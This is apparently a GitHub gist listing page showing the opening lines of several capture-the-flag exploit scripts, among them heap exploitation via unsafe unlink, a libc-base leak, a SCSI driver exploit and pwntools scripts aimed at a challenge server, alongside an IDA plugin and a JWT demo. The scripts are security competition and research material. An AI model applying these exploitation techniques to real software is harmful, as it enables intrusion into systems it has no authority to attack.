Skip to content

Instantly share code, notes, and snippets.

View ducphanduyagentp's full-sized avatar
🤡

Duc Phan ducphanduyagentp

🤡
View GitHub Profile
struct Template {
int64_t data_64;
int32_t data_32;
int16_t data_16;
char data_char;
} value {
// the x'es get instructions written onto them
// notice that those instructions are nops
//xxxxxx
@kukfa
kukfa / hexjump.py
Created August 14, 2017 07:44
IDA plugin to easily follow DWORD addresses within hex dump
import idaapi
import idc
class HexJumpHandler(idaapi.action_handler_t):
def activate(self, ctx):
selection = idaapi.read_selection()
valid_selection = selection[0]
if (valid_selection):
addr = idc.DbgDword(selection[1])
@hasherezade
hasherezade / main.cpp
Last active January 7, 2018 16:27
FlareOn4 Chall6 - solution using #libpeconv
#include <stdio.h>
#include <windows.h>
#include "peconv.h"
const size_t g_flagLen = 26;
char g_flag[g_flagLen + 1] = { 0 };
int my_index()
{
static int index = 0;
package com.basicsec.demoweb
import io.jsonwebtoken.Jwts
import io.vertx.core.AbstractVerticle
import io.vertx.core.Vertx
import io.vertx.core.json.JsonObject
class MainVerticle : AbstractVerticle() {
#!/usr/bin/python
# Author : peternguyen
from Pwn import *
# p = Pwn(mode=1,port=8887)
p = Pwn(mode=1,host='52.193.196.17',port=56746)
def select(op):
p.read_until('Your choice: ')
@sroettger
sroettger / 300.py
Last active December 28, 2018 12:17
One solution for the 34c3ctf's 300 heap challenge.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# The 300 challenge was a heap challenge that allowed you to make allocations of size 0x300.
# You could free allocations and read/write to them even after they got freed.
# The tricky part about the challenge was that you don't control the size and can't for example use the usual fastbin techniques.
# This exploit overwrites the check_action variable so that the libc doesn't abort on errors anymore.
# Afterwards we can get a write-what-where primitive using unsafe unlink.
@hama7230
hama7230 / exp.py
Created December 29, 2018 20:03
35C3 CTF collection
# import Collection
bytearray = ().__class__.__base__.__subclasses__()[5]
def p64(addr):
x = '{0:016x}'.format(addr)
return bytearray.fromhex(x)[::-1]
b = Collection.Collection({'1':0x1337})
libc_base = id(b) + 0xe27198 - 0x13e0dd0
#include <stdio.h>
#include <stdlib.h>
#define chunksize 0x8
#define fakesize 0x20
#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGN_MASK (2*SIZE_SZ - 1)
#define MIN_CHUNK_SIZE 24 /* 64 bit system */
//#define MIN_CHUNK_SIZE 12 /* 32 bit system */
@sampritipanda
sampritipanda / exploit.c
Created August 24, 2018 09:58
Real World CTF - SCSI Driver Exploitation Challenge
#include <stdint.h>
#include <sys/io.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <assert.h>
#include "virt_to_phys.c"
@hama7230
hama7230 / exp.py
Created May 13, 2019 02:29
DEF CON CTF Qualifier 2019 speedrun-012
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./speedrun-012')
context(os='linux', arch=elf.arch)
context(log_level='debug') # output verbose log